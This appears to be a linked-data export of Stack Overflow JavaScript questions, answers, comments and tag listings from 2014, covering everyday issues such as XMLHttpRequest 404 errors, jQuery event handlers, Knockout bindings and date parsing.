has body: I have some bit of code from the internet that updates my webpage when I type in a text input. My code is below function validate(field, query) { var xmlhttp; if (window.XMLHttpRequest) { // for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState != 4 && xmlhttp.status == 200) { document.getElementById(field).innerHTML = "Validating.."; } else if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { document.getElementById(field).innerHTML = xmlhttp.responseText; } else { document.getElementById(field).innerHTML = "Error Occurred. Reload Or Try Again the page."; } } xmlhttp.open("GET", "validation.php?field=" + field + "&query=" + query, false); xmlhttp.send(); } After debugging I found out that the code is run twice (afaik). The first time xmlhttp.readyState is 1, meaning that the request is being set up. The second time it's 4 meaning it's complete. So this is working like intended. The problem is that it always returns the Error Occurred bit in the field. The reason why is that xmlhttp.status keeps the status number 404, meaning that it is not found. I have no clue why it returns 404. If the browser I'm using is important, I'm using the latest version of Safari. I also checked the latest version of Chrome and got the same problem.
has comment: http://stackoverflow.com/comment/40412452
tagged with: xmlhttprequest
has title: XMLHttpRequest status returning 404
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25831424
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40411616
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25831424
score: 0
has comment: http://stackoverflow.com/comment/40412421
answer count: 1

http://stackoverflow.com/comment/40464139
type: Comment
comment on: http://stackoverflow.com/a/25839932
has text: I fixed it. The id was not assigned to the labels in dispatch.php. Thanks so much for the help! I have a couple more minor issues that I should be able to solve, but I may need your help later. Thank you again for all the help you provided!
score: 0
type: AnswerComment

http://stackoverflow.com/a/25807653
score: 0
type: Answer
has body: Thank U all for trying to help me. Have figured out the solution for my case. I had to "tmc.Add("UserName", Authentication.Contact_First + " " + Authentication.Contact_Last);" to my default.cs file that was invoking the Navigation HTML file. Then in the Navigation HTML file I had to add this under the code that calls the logo Welcome: {UserName} That is it! Now I'm all set to see my name after login!
answers question: http://stackoverflow.com/q/25717674

http://stackoverflow.com/a/25858747
answers question: http://stackoverflow.com/q/25858608
score: 1
has comment: http://stackoverflow.com/comment/40462743
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40462769
type: Answer
has comment: http://stackoverflow.com/comment/40462683
accepted answer of: http://stackoverflow.com/q/25858608
has body: You haven't closed events methods parenthesis. Your JavaScript code should look as follows: $(document).ready(function(){ $(".changecolor").mouseenter(function(){ $(this).addClass("blue"); }); $(".changecolor").mouseleave(function(){ $(this).removeClass("blue"); $(this).addClass("red"); }); }); Why are you using so old jQuery version? Why don't you make this effect using CSS :hover selector?
upvote count: 1
has comment: http://stackoverflow.com/comment/40462861

http://stackoverflow.com/a/25792182
type: Answer
has comment: http://stackoverflow.com/comment/40346028
has body: Looks like the issue is that the default value of the grunt-bower-task "copy" option is true: options.copy Type: Boolean Default value: true Copy Bower packages to target directory. The task tries to copy the package and the source and target directories are both "./bower_components" which is probably what is causing the failure. I haven't figure out yet what is unique with coffeescript which fails the copying and how it differs from the rest of the packages. By setting the copy option to false, I was able to solve the error: options: { targetDir: "./bower_components", copy: false }
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25779314
answers question: http://stackoverflow.com/q/25779314
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/66886945
score: 2
has text: @zerkms it's perfectly legitimate to want to know what `null + 1` is, if incrementing a variable that started with `null` - but the others not so much
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25799408

http://stackoverflow.com/comment/40339914
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25778889
type: Comment
has text: Hi Fabio - thank you for your suggestion. I have added that style to style.css in the wooslider/assets/css/ folder but unfortunately, it doesn't fix it. I left it in there if you want to see it. Do you have any other suggestions? I am using Chrome browser, if that makes any difference.

http://stackoverflow.com/comment/40341520
score: 0
comment on: http://stackoverflow.com/a/25792450
type: AnswerComment
has text: Thanks! I just tried that. So 'key' is a reserved word, is it? And, if I can say, in a more simplistic way, ng-repeat simply understands the data structure, and automatically splits the key/value pairs? Is this correct? And finally, is my code correct and robust?
type: Comment

http://stackoverflow.com/comment/40340783
score: 2
comment on: http://stackoverflow.com/q/25792317
has text: Nope, it's a JavaScript object, it has nothing to do with data interchange formats.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40429884
type: Comment
comment on: http://stackoverflow.com/a/25840583
has text: can i ask you again Fly...how about if i want to add some value to the right axis in my chart so my chart have 2 axis...one with percentage and another with data
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40475974
comment on: http://stackoverflow.com/a/25866422
has text: That great but i need one it reaches the final article i need to stop the function.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/25827148
has answer: http://stackoverflow.com/a/25827533
upvote count: 3
has title: How do I get the actual event keydown target of an element inside a polymer component?
linked to: http://stackoverflow.com/q/1495219
has body: The code to prevent backspace from navigating back usually takes something like this approach, where the window keydown event is blocked for backspace, except on a small set of known element types like Input, TextArea, and so on. This doesn't quite work for elements inside polymer custom elements, because the keydown event target type is the type of the custom element, not the actual element that got the keydown. Each custom element's type is different. This makes blocking backspace by target element type untenable. Is there a way to know the type of the actual element, within the polymer element, that got the keypress? Or is there a better way altogether?
tagged with: dart-polymer
type: Question
tagged with: polymer
score: 3
answer count: 3
has answer: http://stackoverflow.com/a/25827149
has answer: http://stackoverflow.com/a/53882434
downvote count: 0
tagged with: javascript
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/40311072
score: 0
type: Comment
type: QuestionComment
has text: I'm going to leave this open (not close it) because the choice of duplicates is so poor. The duplicate is so poor because (1) it has 0 votes (it is not deemed a "good" question); and (2) it was closed as "lacks minimal understanding". However, Stack Overflow welcomes less experienced programming enthusiasts, so folks like Thomas should get an answer. Also see [Could we please be a bit nicer to new users?](https://meta.stackexchange.com/questions/9953/could-we-please-be-a-bit-nicer-to-new-users).
comment on: http://stackoverflow.com/q/25774383

http://stackoverflow.com/a/25753843
has body: tnx. i do it by this function function getAllMethods(obj) { var result = []; for (var id in obj) { try { if (typeof(obj[id]) == "function") { result.push(id + ": " + obj[id].toString()); } } catch (err) { } } return result; }
answers question: http://stackoverflow.com/q/25752849
score: 0
type: Answer

http://stackoverflow.com/comment/40502829
type: Comment
has text: of course, it would return an error. If you want a route with that url. It should be something like this: this.resource('products', function(){ this.resource('date', 'path': '/:products_date', function(){ this.resource('meal', 'path': '/:products_meal') }) });
comment on: http://stackoverflow.com/q/25856039
score: 0
type: QuestionComment

http://stackoverflow.com/q/25870398
has comment: http://stackoverflow.com/comment/40483449
has title: Weird date/time discrepancy?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40484276
has comment: http://stackoverflow.com/comment/40483235
has comment: http://stackoverflow.com/comment/40483323
has body: I've got an input on a webpage where the user is supposed to enter a date / time in a standard format, i.e. 16/09/2014 18:00 That value is then passed into the following snippet of code: var date = new Date(Date.parse(userDate)) where userDate is the input. Then I send that date as part of an AJAX request: var request = { ... "date" : date.toISOString() ... }; However, when I look at the request sent by my browser, date equals 2015-04-09T16:00:00.000Z. Can someone explain why this happens?
type: Question
has comment: http://stackoverflow.com/comment/40483572
tagged with: javascript
tagged with: date
has answer: http://stackoverflow.com/a/25870586
score: 0
answer count: 1

http://stackoverflow.com/comment/40405225
type: Comment
type: QuestionComment
has text: Please can you include your markup for the target html?
score: 0
comment on: http://stackoverflow.com/q/25827382

http://stackoverflow.com/comment/40311028
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25775483
has text: this is fairly trivial and easy to research, what have you tried?
score: 0

http://stackoverflow.com/q/25854461
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: drop-down-menu
tagged with: jquery
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has body: I wrote a custom dropdown list for a web app I'm working on and I have a specific set of functionality I want to accomplish with it. First of all, I want the dropdown to stay open if you move the mouse off of the menu. I want it to close when you either re-click the dropdown title, click one of the elements in the dropdown, or click anywhere else on the page. I also need to enable a scroll bar in the dropdown item list if there are too many elements. We're using a standard resolution so I'm accomplishing this with the max-height attribute. The way I accomplished keeping the menu open was to give the menu button focus and close the menu items when on the .bulr() event. The problem is .blur() triggers when the user clicks the scroll bar and the menu closes. I have an example of the menu I created here: http://codepen.io/jiggawagga/pen/wmkEG One strange thing I've found is in Google Chrome in the app I'm working on you can click on the scroll bar and the menu stays open, however in Internet Explorer it doesn't. The other weird thing is the example in Codepen.io has the exact same code as the app, but it won't stay open in Chrome. (I don't really care about other browsers this is an internal app and we only target IE 8 (bleh) and Chrome due to corporate standards) Below is the Javascript and HTML I'm using to handle the menu. (Again, full code and working example is at the codepen.io link above) GROUP NAME GROUP 2 NAME INPROGRESS Group Number: 1651651 BCBS Number: 61565 GROUP 3 NAME ACTIVE Group Number: 1651651 BCBS Number: 61565 GROUP 3 NAME ACTIVE Group Number: 1651651 BCBS Number: 61565 GROUP 3 NAME ACTIVE Group Number: 1651651 BCBS Number: 61565 GROUP 3 NAME ACTIVE Group Number: 1651651 BCBS Number: 61565 GROUP 3 NAME TERMINATED Group Number: 1651651 BCBS Number: 61565 var _menuOpen = false; $('#group-dropdown-title').click(function () { if (_menuOpen) { $('#group-dropdown-title').blur(); $('#group-dropdown-title').removeClass('hovered'); $('#group-dropdown-item-con…
has title: Prevent clicking scrollbar from triggering .blur
type: Question
score: 1
has answer: http://stackoverflow.com/a/25854933

sails.js
tags question: http://stackoverflow.com/q/25779768
type: Tag
tags question: http://stackoverflow.com/q/25801944
tags question: http://stackoverflow.com/q/25761487
tags question: http://stackoverflow.com/q/25815800
tag name: sails.js
tags question: http://stackoverflow.com/q/25824967
tags question: http://stackoverflow.com/q/25845210
tags question: http://stackoverflow.com/q/25723973
tags question: http://stackoverflow.com/q/25753026

http://stackoverflow.com/a/25813015
score: -2
answers question: http://stackoverflow.com/q/25812785
downvote count: 2
has body: While not necessarily good practice to do what you are doing, you could try this: var createVariable = function( index ){ var variableName = "polebrea" + index; var objName = document.getElementById("part1Table").rows[10].cells[index].innerHTML; return (variableName + " = " + objName + ";"); }; for (var j = 2; j&lt;15; j++){ var objToWrite = createVariable(j); console.log( objToWrite ); }
type: Answer
upvote count: 0

http://stackoverflow.com/a/25879537
type: AcceptedAnswer
downvote count: 0
upvote count: 3
has comment: http://stackoverflow.com/comment/40502509
type: Answer
score: 3
accepted answer of: http://stackoverflow.com/q/25835986
answers question: http://stackoverflow.com/q/25835986
has body: Knockout creates inputs dynamically and adds them to the DOM. The uniform plugin can only work on existing elements. If you call .uniform() on $("input") before applyBindings there are no inputs: the only input on the page is a template for the three inputs that are generated by KO. I suggest you use a custom binding handler to handle this task: ko.bindingHandlers.uniform = { init: function(element, valueAccessor, allBindings, viewModel, bindingContext) { $(element).uniform(); } }; This can be used like this: &lt;input type="checkbox" value="" data-bind="uniform" /&gt; My checkbox You can also change the binding to take in more parameters and start calling it like this: &lt;input type="checkbox" value="" data-bind="uniform: { wrapperClass: 'myClass' }" /&gt; Here's a proof of concept, though you should also check this answer for a more robust implementation of passing options like that to your binding. Added advantage of all this would be that you can steer uniform's behavior from your view models, which in turn makes everything more testable. PS. One alternative that may also be applicable is using the afterRender bit of a template binding.

http://stackoverflow.com/comment/40477561
score: 1
has text: You can try using `Description = document.getElementById("temp_desc").innerText;` instead. When the innerText trick is applied to your poston this page by typing `document.getElementsByClassName('post-text')[0].innerText` into the console, I only see clear text. No formatting tags, nothing that gives any style, nothing. The only html tags I see are the ones inside your first code-block, but tha's to be expected, since it is readable text, rather than page structure.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25864983

http://stackoverflow.com/a/25782978
type: Answer
has comment: http://stackoverflow.com/comment/40325124
has body: Found my mistake: $plumb .= '_addEndpoints("drag'.$id_kurs.'"... Defined my Endpoints like that the objects had the same id &lt;div class="dragable" id="drag'.$id_kurs.'"&gt; but is has to be: &lt;div class="dragable" id="flowchartdrag'.$id_kurs.'"&gt; It was just luck to find it, cause i didnt espect the mistake at this part
score: 0
accepted answer of: http://stackoverflow.com/q/25767077
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25767077

http://stackoverflow.com/comment/40311262
comment on: http://stackoverflow.com/a/25773945
type: Comment
has text: when you did yor code do you see the changes in the tags ?? this is downloaded correctly since there is no error appear .. Thanks for the help and the time you giving me ..
score: 0
type: AnswerComment

http://stackoverflow.com/comment/127132971
score: 0
type: Comment
comment on: http://stackoverflow.com/a/64197798
type: AnswerComment
has text: what is exactly kind of app using this config file? Is angularjs can handle this case using the web config?

http://stackoverflow.com/a/25783045
has comment: http://stackoverflow.com/comment/40432913
has comment: http://stackoverflow.com/comment/40324441
has comment: http://stackoverflow.com/comment/40428495
has body: What you do is update you would use 2 tables to be like this: table: Quizes id, title, creator, etc table: Quiz_Settings id //(simply for managing rows and edits/updates) "1", "2", "3" // etc quiz_id "55912" // or so on type "question", "answer" ref_number "1", "2" // This is basically Question 1, Question 2, Answer 1 etc. value "What is ...?" or "21" // The question or the answer You would then get quiz by id = 55912, and check against quiz settings for all with "quiz_id" == 55912, and using the "question" field and "ref_number" field, you generate a table or page which has the questions, and then a field which has to be equal to "answer" "1" In the event of MULTIPLE answers, you simply loop through each "answer" "1", if it's correct, +1, if it's incorrect, 0. // EXAMPLE JS: The Example HTML: Custom Field = 1 to 1 relationship (1 question 1 answer) - Multi Field = 1 to many relationship (1 question multiple answers) Add Custom Field Add Multi Field
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40324008
has comment: http://stackoverflow.com/comment/40436507
accepted answer of: http://stackoverflow.com/q/25782761
has comment: http://stackoverflow.com/comment/40324058
answers question: http://stackoverflow.com/q/25782761
has comment: http://stackoverflow.com/comment/40324518
type: Answer
has comment: http://stackoverflow.com/comment/40324324
upvote count: 1
has comment: http://stackoverflow.com/comment/40324184
score: 1

http://stackoverflow.com/comment/73847610
comment on: http://stackoverflow.com/a/27890340
type: AnswerComment
has text: Note from the future: cdn.mathjax.org is nearing its end-of-life, check https://mathjax.org/cdn-shutting-down for migration tips.
type: Comment
score: 1

http://stackoverflow.com/a/25770512
score: 1
accepted answer of: http://stackoverflow.com/q/25770158
has comment: http://stackoverflow.com/comment/40301045
answers question: http://stackoverflow.com/q/25770158
upvote count: 1
type: AcceptedAnswer
has body: Both the comments on your question are correct. Heres a working JS Fiddle: http://jsfiddle.net/got29e9v/1/ The first error was that the anchor link need the class of .scroll. Also the JS fiddle wasn't using JQuery, your JavaScript was trying to use it. I've added a callback function on the animate method. This is called when the animation completes. Hope that helps.
type: Answer
downvote count: 0

http://stackoverflow.com/comment/40343630
comment on: http://stackoverflow.com/q/25793833
type: Comment
score: 5
has text: In the first case, Cloudy is not the second word ?
type: QuestionComment

http://stackoverflow.com/comment/40309413
has text: Can someone ACCEPT my answer? (I can't until two days from now)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25774784
type: Comment

http://stackoverflow.com/comment/113627149
type: AnswerComment
comment on: http://stackoverflow.com/a/25828595
type: Comment
has text: Does JIMP work in browser or client javascript too?
score: 0

http://stackoverflow.com/comment/40303321
score: 0
type: QuestionComment
has text: Do you need to open external javascript file in ie developer tool??? If so, would answer, but I don't know about other parts what you're saying like debugging....
type: Comment
comment on: http://stackoverflow.com/q/25771363

http://stackoverflow.com/a/25762472
answers question: http://stackoverflow.com/q/25761856
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25761856
score: 2
type: AcceptedAnswer
downvote count: 0
has body: var dataArr = ["1","Maths","2","Science"]; Add a bare bones table to a div. $("#subjectTable").append('&lt;table id="table"&gt;&lt;/table&gt;'); For each table row loop over the array in steps of 2 (i+=2). oddPositionVal is the first element in the step, evenPositionVal is the second element. Build the row HTML and then append it to the table. for (var i = 0, l = dataArr.length; i &lt; l; i+=2) { var oddPositionVal = dataArr[i]; var evenPositionVal = dataArr[i + 1]; var rowhtml = '&lt;tr&gt;&lt;td style="width:25%"&gt;' + oddPositionVal + '&lt;/td&gt;&lt;td style="width:25%"&gt;' + evenPositionVal + '&lt;/td&gt;&lt;/tr&gt;'; $('#table').append(rowhtml); } DEMO
type: Answer

http://stackoverflow.com/a/25834883
type: Answer
downvote count: 0
has body: Wrap it inside a function. &lt;script type="text/javascript"&gt; window.onload = function(){ setInterval(div_show, 10); } &lt;/script&gt; Also, if you're sure if you want to execute this function only once when the body loads, you might as well want to use setTimeout instead of setInterval. Like &lt;script type="text/javascript"&gt; window.onload = function(){ setTimeout(div_show, 10); } &lt;/script&gt; If you want 10 it to execute after 10 seconds, you need to set the timer parameter to number of seconds * 1000 In your case, 10*1000 Either setTimeout(div_show, 10*1000); or setTimeout(div_show, 10000);
score: 3
answers question: http://stackoverflow.com/q/25834862
upvote count: 3

http://stackoverflow.com/comment/40405574
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25827614
has text: Erm... can't `object D` ask each object for their corresponding values instead each time an event is triggered? Or just store its own copy of each attribute, modify this copy each time an event is triggered? It's hard to guess without seeing a code, even some prototype one.

http://stackoverflow.com/comment/40416071
score: 0
type: QuestionComment
type: Comment
has text: hard to say what's wrong without the actual values
comment on: http://stackoverflow.com/q/25833493

http://stackoverflow.com/comment/40235348
type: AnswerComment
has text: I opposed why did this answer got upvotes???? Wrong information!!!!
comment on: http://stackoverflow.com/a/25734307
score: 0
type: Comment

http://stackoverflow.com/a/25780521
has body: ng-include triggers a request that goes through the template cache. This is done async so No, angular cannot provide you with a trigger for when all templates done loading. You can prefetch the templates to the cache and handle the event from there ... For example, // inject $q, $http, $templateCache to your controller ... var promises = []; promises.push($http.get('test/views/navigationbar.html',{ cache : $templateCache })); promises.push($http.get('test/views/processnav.html',{ cache : $templateCache })); promises.push($http.get('test/views/leftprocesstabs.html',{ cache : $templateCache })); $q.all(promises, function (data) { console.log('All templates are loaded into the cache !'); }); ...
answers question: http://stackoverflow.com/q/25779304
has comment: http://stackoverflow.com/comment/40323401
downvote count: 0
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/40469663
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25856712
score: 1
has text: Depending upon what exactly your data is like, [here](http://stackoverflow.com/questions/9058774/handlebars-mustache-is-there-a-built-in-way-to-loop-through-the-properties-of) may be the answer you need and another relevant answer [here](http://stackoverflow.com/questions/19800602/how-to-see-all-available-variables-in-handlebars-template). You could also send `this` to a customer helper and do `console.log(JSON.stringify(arg)))` to see what the data is.

http://stackoverflow.com/comment/40203270
type: Comment
comment on: http://stackoverflow.com/a/25717469
type: AnswerComment
score: 0
has text: Still getting the same issue

http://stackoverflow.com/q/25846246
answer count: 1
favorite count: 0
upvote count: 1
tagged with: asp.net-mvc-4
type: AnsweredQuestion
has body: Hi I'm new to NopCommerce, but I need some help, I'm currently doing some work on the news list page and I'm wondering is there any code that will need to be added to pull any images that are on the actual news page. So the list page will display some of the content and a image.
score: 1
has answer: http://stackoverflow.com/a/25870444
has title: nopcommerce pulling images from news page
type: Question
tagged with: c#
downvote count: 0
tagged with: javascript
tagged with: nopcommerce
accepted answer: http://stackoverflow.com/a/25870444

http://stackoverflow.com/q/25727828
tagged with: javascript
tagged with: jquery
has title: addClass and removeClass methods aren't working properly
score: 0
tagged with: css
duplicate of: http://stackoverflow.com/q/17941143
has answer: http://stackoverflow.com/a/25727839
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40222409
has body: I am planning to add and remove background-image to a specific DIV but it seems that it's not working well jQuery code : $(document).ready(function(){ $(window).scroll(function(){ if ($(this).scrollTop() &gt; 340) { $("#navcontainer").addClass("bg2"); } else { $("#navcontainer").addClass("bg1"); } }); }); here is the css code : #navcontainer{ height: 70px; width: 100%; position: fixed; z-index: 9999; } .bg2{ background-image: url(bg2.png); } .bg1{ background-image:url(bg1.png); }
accepted answer: http://stackoverflow.com/a/25727839
possible better answer: http://stackoverflow.com/a/25727855
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25727855
tagged with: addclass
linked to: http://stackoverflow.com/q/17941143
tagged with: removeclass

http://stackoverflow.com/comment/40370615
score: 1
type: QuestionComment
type: Comment
has text: `var a = "123".split('').map(function(item) { item = parseInt(item, 10); return ++item; });` works for me
comment on: http://stackoverflow.com/q/25808670

http://stackoverflow.com/q/25773617
type: AnsweredQuestion
tagged with: javascript
tagged with: jquery
type: Question
has comment: http://stackoverflow.com/comment/40308281
has answer: http://stackoverflow.com/a/25787895
has title: Multiple call from same javascript function with ajax, object in parameters not the same between the function body and the ajax success callback
possible better answer: http://stackoverflow.com/a/25774329
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25774329
has comment: http://stackoverflow.com/comment/40307685
tagged with: knockout.js
accepted answer: http://stackoverflow.com/a/25787895
has body: I've got a strange result when I called my javascript method with ajax. When the user click on an arrow, it load the data, I don't want the user to be stuck so I let him change when he want. And when the data come back from the server, I want to load the data at the good object in my collection. html like that ( a little more complex than that but hard to paste and I think it's enough to understand) : Next js: function LoadExactResult(dateObj) { //method body (function(dateObj) { var payload = { searchCriteriaParam: "", }; console.log(moment() + " - Calling Exact Date: " + dateObj().Date()); dateObj().IsAllFlightLoading(true); $.ajax({ url: 'bla/bla', data: payload, cache: false, success: function(result) { console.log(moment() + " - Exact Date Success: " + dateObj().Date()); // ajax body. } }); })(dateObj); } But the data always come back for the last loaded object... Here is the console log. 1410377364469 - Calling Exact Date: Mon Jan 05 2015 22:00:00 GMT-0500 (Est) 1410377365234 - Calling Exact Date: Sun Jan 04 2015 21:10:00 GMT-0500 (Est) 1410377365539 - Calling Exact Date: Sat Jan 03 2015 20:40:00 GMT-0500 (Est) 1410377367559 - Exact Date Success: Sat Jan 03 2015 20:40:00 GMT-0500 (Est) 1410377370488 - Exact Date Success: Sat Jan 03 2015 20:40:00 GMT-0500 (Est) 1410377375648 - Exact Date Success: Sat Jan 03 2015 20:40:00 GMT-0500 (Est)
has comment: http://stackoverflow.com/comment/40307747

http://stackoverflow.com/comment/40441525
type: AnswerComment
type: Comment
has text: Already tried that but didn't work, the separation between spans still disappear.
comment on: http://stackoverflow.com/a/25844219
score: 0

google-maps
tags question: http://stackoverflow.com/q/25715330
tags question: http://stackoverflow.com/q/25729477
tag name: google-maps
tags question: http://stackoverflow.com/q/25839535
tags question: http://stackoverflow.com/q/25808584
tags question: http://stackoverflow.com/q/25785452
tags question: http://stackoverflow.com/q/25750692
tags question: http://stackoverflow.com/q/25787143
tags question: http://stackoverflow.com/q/25769435
tags question: http://stackoverflow.com/q/25873129
tags question: http://stackoverflow.com/q/25838629
tags question: http://stackoverflow.com/q/25729206
tags question: http://stackoverflow.com/q/25767593
tags question: http://stackoverflow.com/q/25736388
tags question: http://stackoverflow.com/q/25773314
tags question: http://stackoverflow.com/q/25757648
tags question: http://stackoverflow.com/q/25731954
tags question: http://stackoverflow.com/q/25784093
tags question: http://stackoverflow.com/q/25840857
tags question: http://stackoverflow.com/q/25738408
tags question: http://stackoverflow.com/q/25801825
tags question: http://stackoverflow.com/q/25746308
tags question: http://stackoverflow.com/q/25728159
tags question: http://stackoverflow.com/q/25849398
tags question: http://stackoverflow.com/q/25760232
tags question: http://stackoverflow.com/q/25730970
tags question: http://stackoverflow.com/q/25854190
tags question: http://stackoverflow.com/q/25779038
tags question: http://stackoverflow.com/q/25722087
tags question: http://stackoverflow.com/q/25849028
tags question: http://stackoverflow.com/q/25749298
tags question: http://stackoverflow.com/q/25769667
tags question: http://stackoverflow.com/q/25811174
tags question: http://stackoverflow.com/q/25787502
tags question: http://stackoverflow.com/q/25863508
tags question: http://stackoverflow.com/q/25789024
tags question: http://stackoverflow.com/q/25850037
tags question: http://stackoverflow.com/q/25779318
tags question: http://stackoverflow.com/q/25815384
tags question: http://stackoverflow.com/q/25826069
tags question: http://stackoverflow.com/q/25847686
tags question: http://stackoverflow.com/q/25719759
tags question: http://stackoverflow.com/q/25769684
tags question: http://stackoverflow.com/q/25719362
type: Tag
tags question: http://stackoverflow.com/q/25731618
tags question: http://stackoverflow.com/q/25768272
tags question: http://stackoverflow.com/q/25740784
tags question: http://stackoverflow.com/q/25813346
tags question: http://stackoverflow.com/q/25845644
tags question: http://stackoverflow.com/q/25779942
tags question: http://stackoverflow.com/q/25762616
tags question: http://stackoverflow.com/q/25836816
tags question: http://stackoverflow.com/q/25862746
tags question: http://stackoverflow.com/q/25782282
tags question: http://stackoverflow.com/q/25760711
tags question: http://stackoverflow.com/q/25737728

http://stackoverflow.com/comment/40260430
has text: I have done it myself here: https://github.com/miohtama/bitcoinaddress.js/blob/master/demo.js and https://github.com/miohtama/bitcoinaddress.js/blob/master/index.html#L312 - you can maybe check for inspiration. However, the devil in details and third party libraries might need some work for Browserify compatiblity.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25746449

http://stackoverflow.com/comment/40479925
comment on: http://stackoverflow.com/q/25865497
score: 0
type: Comment
type: QuestionComment
has text: Should probably delete this question, worked it out. But thanks.

http://stackoverflow.com/comment/40284662
has text: @Chuck Please edit your question, comments are not the place to post your code.
comment on: http://stackoverflow.com/q/25761277
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40228124
comment on: http://stackoverflow.com/q/25729206
score: 0
has text: Not from a Google API (at least at present).
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40458603
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25856563
has text: How about ng-show="abc.type === 0 && $index > 0" Then, `splice`-ing the first value from the array will cause the binding to update.

garbage-collection
tags question: http://stackoverflow.com/q/25713414
tag name: garbage-collection
type: Tag

http://stackoverflow.com/comment/40402966
type: Comment
type: QuestionComment
has text: Did you try `CQ.Ext.Msg.alert('Your Message');` or `CQ.Ext.Msg.show()` ?
comment on: http://stackoverflow.com/q/25826229
score: 0

http://stackoverflow.com/a/25790242
score: 0
has comment: http://stackoverflow.com/comment/40417991
has comment: http://stackoverflow.com/comment/40418472
has comment: http://stackoverflow.com/comment/40418589
answers question: http://stackoverflow.com/q/25789811
has comment: http://stackoverflow.com/comment/40377828
has body: Try Recorder.diplayRecord = function(blob, filename) { var url = (window.URL || window.webkitURL).createObjectURL(blob); var displayRecord = document.getElementById("displayRecord"); //link.href = url; var li = document.createElement('li'); var au = document.createElement('audio'); var hf = document.createElement('a'); var reader = new FileReader(); reader.onload = function(e) { if (e.target.readyState === 2) { var _data = e.target.result; // `POST` `data-uri` $.post("database/url/", {"data": _data}) .then( // `success` function(data, textStatus) { console.log(textStatus) } // `error` , function(jqxhr, textStatus, errorThrown) { console.log(textStatus, errorThrown) }) }; }; reader.readAsDataURL(blob); au.controls = true; au.src = url; hf.href = url; hf.download = 'audio_recording_' + new Date().getTime() + '.wav'; hf.innerHTML = hf.download; while (displayRecord.lastChild) displayRecord.removeChild(displayRecord.lastChild); li.appendChild(au); li.appendChild(hf); displayRecord.appendChild(li); // adding closing `}` }; See FileReader jQuery.post()
has comment: http://stackoverflow.com/comment/40390223
has comment: http://stackoverflow.com/comment/40418503
has comment: http://stackoverflow.com/comment/40418846
type: Answer
has comment: http://stackoverflow.com/comment/40377854
has comment: http://stackoverflow.com/comment/40415705

http://stackoverflow.com/comment/40350448
comment on: http://stackoverflow.com/q/25796781
has text: The only thing I'm doing differently is navigating via a direct link View Photo instead of using navigate.history(). That shouldn't make a difference, should it?
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40341558
has text: Where is `self` defined?
comment on: http://stackoverflow.com/q/25792673
score: 0
type: Comment
type: QuestionComment

recaptcha
tag name: recaptcha
tags question: http://stackoverflow.com/q/25800599
type: Tag

http://stackoverflow.com/a/25767297
has body: You could use AJAX to load the new page. Use jQuery's load() to only load the #content part of the new page into the #content div of the current page. HTML Page 2 Page 1 content JavaScript / jQuery $('a').click(function(e){ e.preventDefault(); var target = $(this).attr('href'); $('#content').load(target + ' #content'); });
score: 0
answers question: http://stackoverflow.com/q/25766364
type: Answer

http://stackoverflow.com/a/25828959
answers question: http://stackoverflow.com/q/25828945
downvote count: 0
score: 3
has body: yes, it does pretty much what you think. if MYLIBRARY is defined it is used, if not it is assigned the encapsulated code?
upvote count: 3
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25828945
type: Answer

http://stackoverflow.com/q/25773510
tagged with: frontend
has comment: http://stackoverflow.com/comment/40306801
has title: Why and when will function definitions are interpreted as declarations in JavaScript
has body: Take a example of this one: var is_android = true; if (is_android) { function foo() { alert('I am Android'); } } else { function foo() { alert('I am NOT Android'); } } foo(); It will be interpreted as function foo() { alert('I am Android'); } function foo() { alert('I am NOT Android'); } var is_android; is_android = true; if (is_android) { } else { } foo(); It will alert "I am NOT Android"; Looks like the second foo definition overwrites the first one. It treats function definitions as declarations, my question is , when will this happen or is this always the case? How to make javascript treat something as a function definition? Thanks.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40306914
linked to: http://stackoverflow.com/q/21984824
type: Question
duplicate of: http://stackoverflow.com/q/21984824
tagged with: javascript
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25773592
accepted answer: http://stackoverflow.com/a/25773592

http://stackoverflow.com/q/25836629
tagged with: external
accepted answer: http://stackoverflow.com/a/25846841
tagged with: extract
has title: extract specific data from a HTML table or hide specific lines
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40436283
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40430740
type: Question
has answer: http://stackoverflow.com/a/25846841
tagged with: javascript
